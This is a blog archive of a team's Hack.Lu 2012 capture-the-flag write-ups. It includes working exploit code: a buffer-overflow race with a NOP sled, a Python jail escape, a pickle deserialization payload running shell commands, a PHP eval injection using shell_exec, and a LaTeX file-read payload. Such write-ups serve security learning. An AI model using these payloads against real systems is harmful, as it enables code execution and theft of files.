Showing posts with label hacklu 2012. Show all posts
Showing posts with label hacklu 2012. Show all posts

Wednesday, October 31, 2012

Hack.Lu CTF: Zombie AV

The objective of this challenge was to upload an ELF file with embedded code that would print out the key located in config.php.

The first step was to look at the source code provided in the zip file. Of particular interest are the scan.php and elfparsing.php.

In elfparsing.php looking at the code below, one can see that the file requirement is a 32bit elf file. (If confused look up ELF fileheaders).
if($magic_0==0x7f && $magic_1==0x45 && $magic_2==0x4C && $magic_3==0x46) {
 //echo 'magic found\n';
} else {
 sec_warning();
 return -1;
}

if($magic_4==0x01) {  
 //print '32bit not supported <br>';
 return 32;
}

if($magic_4==0x02) {
 //return 64;
 die('64bit not supported');
 //sec_warning();
}

sec_warning();
In scan.php the following code shows that for the uploaded file to get past the opcode md5 check it must have
b0 01 90 90 90 90 90 90 90 90 cd 80
as the starting 12 bytes of the main program.
$opcodes=getOpcodes($rest);
 print "Entry Opcodes are: ".$opcodes;
 print "\n";
 print "Signature is: " . md5($opcodes);
 print "\n";

 /* 
  * hint: zombie virus signature is
  * 8048340: b0 01                 mov    $0x1,%al
   * 8048342: 90                    nop
   * 8048343: 90                    nop
   * 8048344: 90                    nop
    * 8048345: 90                    nop
    * 8048346: 90                    nop
   * 8048347: 90                    nop
   * 8048348: 90                    nop
    * 8048349: 90                    nop
   * 804834a: cd 80                 int    $0x80
 */

 /*
  *  secret zombie total signature engine is based on md5
  */
 if (md5($opcodes) === 'cd53b957ec552afb39cba6daed7a9abc') {
  print "found zombie virus, trying to execute it\n";
The next step is creating an elf file to upload to the service, and the file you upload must be able to execute normally. This step must be done on a 32bit linux distribution. I made a c file that has a main function with system(“ cat config.php” ) as its only command. Once compiled I opened it up in Ida Pro Free edition.


Changing the size of a program will cause it to break because all of the relative references will be thrown off; however, conveniently there are a number of nop statements after call __libc_start_main. I opened the elf file up in a hex editor and copied 12 nop op codes and placed them at the start of the program (before the 31 ED). I then changed those 12 bytes to reflect the zombie virus signature. One more thing must be done to the program before it can be uploaded. The call __libc_start_main no longer refers to the same point in memory because it is a relative reference. Therefore its value must be decreased by the same amount of bytes that were moved. To accomplish this I changed E8 CB FF FF FF to E8 BF FF FF FF to reflect the change in address. Save the file and upload to the server.
analysing file 94b0f040323a591c3e3680246b7ce3ec
8048330: b0 01                 mov    $0x1,%al
 8048332: 90                    nop
 8048333: 90                    nop
 8048334: 90                    nop
 8048335: 90                    nop
 8048336: 90                    nop
 8048337: 90                    nop
 8048338: 90                    nop
 8048339: 90                    nop
 804833a: cd 80                 int    $0x80
 804833c: 31 ed                 xor    %ebp,%ebp
 804833e: 5e                    pop    %esi
 804833f: 89 e1                 mov    %esp,%ecx
 8048341: 83 e4 f0              and    $0xfffffff0,%esp
 8048344: 50                    push   %eax
 8048345: 54                    push   %esp
 8048346: 52                    push   %edx
 8048347: 68 00 84 04 08        push   $0x8048400
 804834c: 68 10 84 04 08        push   $
Entry Opcodes are: b0 01 90 90 90 90 90 90 90 90 cd 80 
Signature is: cd53b957ec552afb39cba6daed7a9abc
found zombie virus, trying to execute it
<?php

$readelfpath='/usr/bin/readelf';
$objdumppath='/usr/bin/objdump';
$uploadpath='upload/';
$scriptpath='/var/www/';
$secret='55c4080daefb5f794c3527101882b50b';

?>
done we are safe

Flag =55c4080daefb5f794c3527101882b50b.

-- zlouity

Friday, October 26, 2012

Hack.Lu CTF: it's not scientific without LaTeX Writeup

The objective of this challenge was to leverage an embedded LaTeX previewer to access a local file.

Having very little experience with LaTeX, I googled around for a bit and stumbled on this paper: LaTeX Hacking

The paper describes how LaTeX previewers often make a system vulnerable because they are allowed to read and print local files as so (note the \hfill to make the line wrap):
\openin5=/home/awesker/cure
\def\readfile{%
     \read5 to\curline
     \ifeof5 \let\next=\relax
     \else \curline˜\\
           \let\next=\readfile
           \fi
\next}%
\ifeof5 Couldn't read the file!%
\else \hfill \readfile \closein5
\fi
The font was fairly small, so I also included the following above the loop to make the flag readable:
\fontsize{20}{15}
\selectfont
Yay! The flag was embedded in the document now!

Flag = gtttatgtagcttaccccctcaaagcaatacactgaaaatgtttcgacgggtttacatcaccccataaacaaacaggtttggtcctagcctttctattag

-- d1r3w0lf

Thursday, October 25, 2012

Hack.Lu CTF: Big Zombie Business Writeup

This challenge was another password prompt protected by obfuscated javascript. Click the images for an enlarged version.

1. Entering the site, we see a lovely picture of Charlie Sheen and are prompted for another password:


2. Let's check the source:


3. Once again, that looks a little long and obscure for my taste so I ran it with JavaScript Deobfuscator. Looking around for a while, I finally stumbled on a function that looks helpful:


4. Lets plug these two lines into firebug's javascript console and get our flag.


-- d1r3w0lf

Hack.Lu CTF: Mini Zombie Business Writeup

This challenge was a password prompt protected by obfuscated javascript.

1. Entering the site, we see harmless little zombie. Clicking on him gives:


Looking at the source, we see:


Unescaping this string yields yet another eval(unescape) and so on and so forth. At this point, I turned to the firefox plugin “JavaScript Deobfuscator”.


3. After running the script again JavaScript Deobfuscator shows:

Flag: tasty_humans_all_day_erry_day

-- d1r3w0lf

Hack.Lu CTF: TUX BOMB Writeup

This challenge was a reverse engineering problem with the goal of inputting a correct user and product key. We are given an executable and we start going.

Running file, we get:     tux_bomb.exe: PE32 executable for MS Windows (console) Intel 80386

Next, lets run run it in windows and see what it wants:


It seems to be looking for a username and product key. On to Hexrays!

1. It reads in and stores Username and ProductKey


2. It loops through every character in the Username, multiplies the ascii value of that character by 3, and adds it to a continuous sum.


3. It creates a new value (which I have called modVal) that is equal to usernameSum % 667. It then compares this value to 666, and sets our result string to either “You are Admin!” or “You are not Admin!”.


a. Assuming that it's probably a good idea for us to be admin, we need to create a username string such that usernameSum % 667 = 666. I did this by hand. Realizing that each character is being multiplied by 3, the sum of all characters should be 222. Looking at an ascii chart, lowercase '0' = 111 in decimal, so we'll use 'username = oo'.

4. Next, it checks again to see if our modVal is 666 and also checks if argc = 23. From this code, we also see that the program copies each byte of the 18th argument and puts it into a separate buffer for later use...


5. It then compares that buffer (the 18th argument) to our product key. If they match, it yields a pdf file.


I'm sure the rest of the program is interesting, but this is where I stopped reading. Using these steps got me here:

6. Opening this pdf gives us:


Yay! Calculus!
Running a quick python script gives us x = 1165.
flux = 'Fluxfingers'
ans = 0
for i in xrange(len(flux)):
    ans += ord(flux[i])
print ans
Sage Math solved the integral to be 2
1165*2-993 = 1337 (fitting right?)
md5(1337) = FLAG = e48e13207341b6bffb7fb1622282247b

-- d1r3w0lf

Hack.Lu CTF: Get the Tank Writeup

Get the tank is a fun little binary exploitation and really just a simple buffer overflow. The functionality of the program generally follows below.
1. Make sure that there are two arguments
2. Create a random, 16 character session ID and put it in the file .sessionid
   2a. CLOSE THE FILE .sessionid <-- This is important
3. Compare the entered password to whatever is in the masterkey file
4. When we fail (and we want to fail)
   4a. Open the .sessionid file
   4b. Read up to 29 bytes into a buffer that is only 20 bytes large
So we have to somehow change the contents of the .sessionid file while the program is running. So we write a little C program which just writes as fast as it can to the file.
#include 

int main(int argc, char **argv) {
   FILE * file = fopen('.sessionid', 'a+');
   while (1) {
       fprintf(file, '%s', 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa');
       fflush(file);
   }
}
We have now established a race condition that will (hopefully) cause the file to load arbitrary things that we write in the file. So we fire up our program that we wrote and then run ./tank.
Segmentation Fault
Now we just need to run tank locally (because of seteuid) to figure out the offset where we can control the return address. By using gdb, we figure out that we need 36 bytes and then a return address. Our refined file write is
fprintf(file, '%s', 'bcdefgijklmnopqrstuvwxyzabcdefghijkl\x98\xd4\x9f\xff');
Luckily, the stack is executable (I'd suggest looking at checksec.sh if you don't already know about it), so we can put some shellcode after a big 'ol NOP sled in an environment variable.
export BOB=`python -c "print '\x90'*100000 + open('shellcode', 'rb').read()"`
After we've made this environment variable, we just have to run gdb and find an address in the stack where the environment variable might be. we put this as the address in the fprintf, start our filewriter, and start bruteforcing the stack address of our NOP sled.
while true; do ./tank 1234; sleep 0.25; done
After about 15 misses, we hit our NOP sled and dropped into a shell with privileges of tank. We cat /home/tank/masterkey and win! -- suntzu_II

Hack.Lu CTF: Nerd Safe House Writeup

Nerd Safe House was by far the simplest challenge in this competition. The page redirected you a few times and then settled on a page that said "Nothing to see here." All you needed to do was capture all of the responses in a program like BurpSuite and examine the html of each one. In one of the responses, there was a key hidden in an html comment.

-- suntzu_II

Hack.Lu CTF: Python Jail Writeup

This challenge was a jail written in python that eliminates a bunch of different functions from the __builtins__ dictionary, severely limiting the use of functions. The relevant portions of the server are shown below.
def make_secure():
        UNSAFE_BUILTINS = ['open',
                           'file',
                           'execfile',
                           'compile',
                           'reload',
                           '__import__',
                           'eval',
                           'input'] ## block objet?
        for func in UNSAFE_BUILTINS:
                del __builtins__.__dict__[func]

from re import findall
make_secure()

print 'Go Ahead, Expoit me >;D'

while True:
    try:
        inp = findall('\S+', raw_input())[0]
        a = None
        exec 'a=' + inp
        print 'Return Value:', a
    except Exception as e:
        print 'Exception:', e
However, just deleting functions from the __builtins__ dictionary does not completely eliminate references to them. By traversing class and subclass trees, we eventually get a reference to 'file' because it is a subclass of the 'object' type. Below is a way of taking a list (with a single number in it) and getting a reference to the 'file' function (it is the 40th item in the list when I ran it).
(1337).__class__.__bases__[0].__subclasses__()[40] # This references the function 'file'
We can therefore open an arbitrary file and read the key now.
(1337).__class__.__bases__[0].__subclasses__()[40]('./key','r').read()
-- suntzu_II

Hack.Lu CTF: Zombie Reminder Writeup

This challenge was composed breaking a weak secret for a hashing algorithm followed up by creating a pickled object that would be loaded by the server and execute arbitrary code. The relevant portions of the server are shown below. The server basically stores pickled objects in a cookie by hashing them and comparing the hash to see if it is ok to load the pickled object.
def getlocation(): cookie = request.cookies.get('location') if not cookie: return '' (digest, location) = cookie.split("!") if not safe_str_cmp(calc_digest(location, cookie_secret), digest): flash("Hey! This is not a valid cookie! Leave me alone.") return False location = pickle.loads(b64d(location)) return location def make_cookie(location, secret): return "%s!%s" % (calc_digest(location, secret), location) def calc_digest(location, secret): from hashlib import sha256 return sha256("%s%s" % (location, secret)).hexdigest() def init_secret(): from os import path import random, string if not path.exists('secret'): with open("secret", "w") as f: secret = ''.join(random.choice(string.ascii_letters + string.digits) for x in range(5)) f.write(secret) with open("secret", "r") as f: return f.read() if __name__ == '__main__': cookie_secret = init_secret() app.run()
This shows that the key is generated at run-time and is never regenerated. Therefore, we can store something in the server and get a location/hash combination back, allowing us to brute-force the key (the keyspace is 62^5 ~ 900,000,000). A nice simple python script that finds the key is shown below.
from hashlib import sha256

chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

location = '/var/www/flag.txt'

def getKey(init):
    count = 0
    for i in xrange(len(chars)):
        for j in xrange(len(chars)):
            for k in xrange(len(chars)):
                for l in xrange(len(chars)):
                    for m in xrange(len(chars)):
                        if count % 100000 == 0:
                            print "Have tried", count, "combinations"
                        count += 1
                        tmp = chars[i] + chars[j] + chars[k] + chars[l] + chars[m]
                        update = init.copy()
                        update.update(tmp)
                        hashed = update.hexdigest()

                        if hashed = 'insertyourhashhere':
                            return tmp


init = sha256(location)

print getKey(init)
This returned the key of 'oIqxe' which we could then use to create our own cookies. At this point, we take advantage of the insecurities in Python's Pickle module and create a pickle object that will print out what is in /var/www/flag. The script below produces the cookie that wins.
import pickle, base64, subprocess
b64e=base64.b64encode
b64d=base64.b64decode

class PickleCommand(object):
    def __reduce__(self):
        return (subprocess.check_output, (('cat','/var/www/flag',),))

def make_cookie(location, secret):
    return "%s!%s" % (calc_digest(location, secret), location)
   
def calc_digest(location, secret):
    from hashlib import sha256
    return sha256("%s%s" % (location, secret)).hexdigest()

todecode = base64.b64encode(pickle.dumps(PickleCommand()))
print todecode

secret = 'oIqxe'

print make_cookie(todecode, secret)
-- suntzu_II

Hack.Lu CTF: Spambot Writeup

This challenge give you a link to a place where you can enter a URL and the site will send a message to the URL you give it. The Spambot will then load the page, figure out what fields there are, and try to write data to the page. The Spambot will also solve simple spam protection (like math). This turns out to be the downfall of the Spambot.

Once we saw that it solves the math, we wondered how it did this. The easiest way for the server to do it would be to just call eval() on whatever is between the html tags. So we added something after the math in the spam protection field.
1+1+1;echo 'bob';
When we entered the URL of our hosted page, the Spambot executed our code and printed the result of 1+1+1 to the screen as well as the word bob. At this point, we know that we have arbitrary php code execution on the server, so we start doing directory listings. And eventually find an interesting file in the root directory. If you put the following line into the spam protection input field of your page and tell the Spambot to load the program, you win!
Spam protection: 1+1+1;$handle = opendir('/');while (false !== ($entry = readdir($handle))) {echo "$entry";echo shell_exec('cat /6f170bcecda1ca8d3a5435591202988881b34bad');}
-- suntzu_II

Hack.Lu 2012 CTF Writeups

The folks over at FluxFingers put on a fantastic (and very challenging) competition that ran over the last few days. Unfortunately, it happened during the school-week so our team only managed to find a few hours each day to work on the challenges so we didn't get to solve them all. We will, however, post writeups to those challenges we did solve over the next few days, so make sure to check back as those writeups come up. Below are links to problems that with writeups.
Challenges:
   2. Zombie AV
   5. TUX BOMB
   7. Python Jail
   9. Braincpy
   11. Hidden
   14. Safehouse
   15. Secure-Safehouse (solved just after the competition ended :( )
   16. It's not scientific without LaTeX
   18. Zombie Lockbox
   19. Zombie Reminder
   20. nerd safe house
   21. Get the Tank
   22. Mini Zombie Business
   23. Spambot
   26. Big Zombie Business

Hack.Lu CTF: Hidden Challenge Writeup

This hidden challenge was pretty cool. On the login page to ctf.fluxfingers.net, there was a script reference as shown below.
<script type="text/javascript" src="http://braaaains.hack.lu/bloody.js"></script>
This clearly does not work as a web browser can't figure out how to resolve the domain name. A quick nslookup, however, reveals that braaaains.hack.lu only has in IPv6 address - 2002:95:d:21:4a::1. This IPv6 address also does not respond to web traffic, which causes us to examine the construction of the IPv6 address.

The 2002 prefix belongs to the "6to4 addressing" IPv6 range of address, which means we can extract an IPv4 address from the IPv6 Address.
95:d:21:4a = 149.13.33.74, which is the IP Address of ctf.fluxfingers.net
So, we next tried to navigate to http://149.13.33.74/bloody.js, but it gives us a file not found error. We fumbled around for a bit here before we decided that braaaains.hack.lu was actually important so we changed the HOST header of our HTTP request as it was outbound to be braaaains.hack.lu instead of 149.13.333.74 and we got back a result with just one thing on it: IcanSmellBigBrainsARRRRR. -- suntzu_II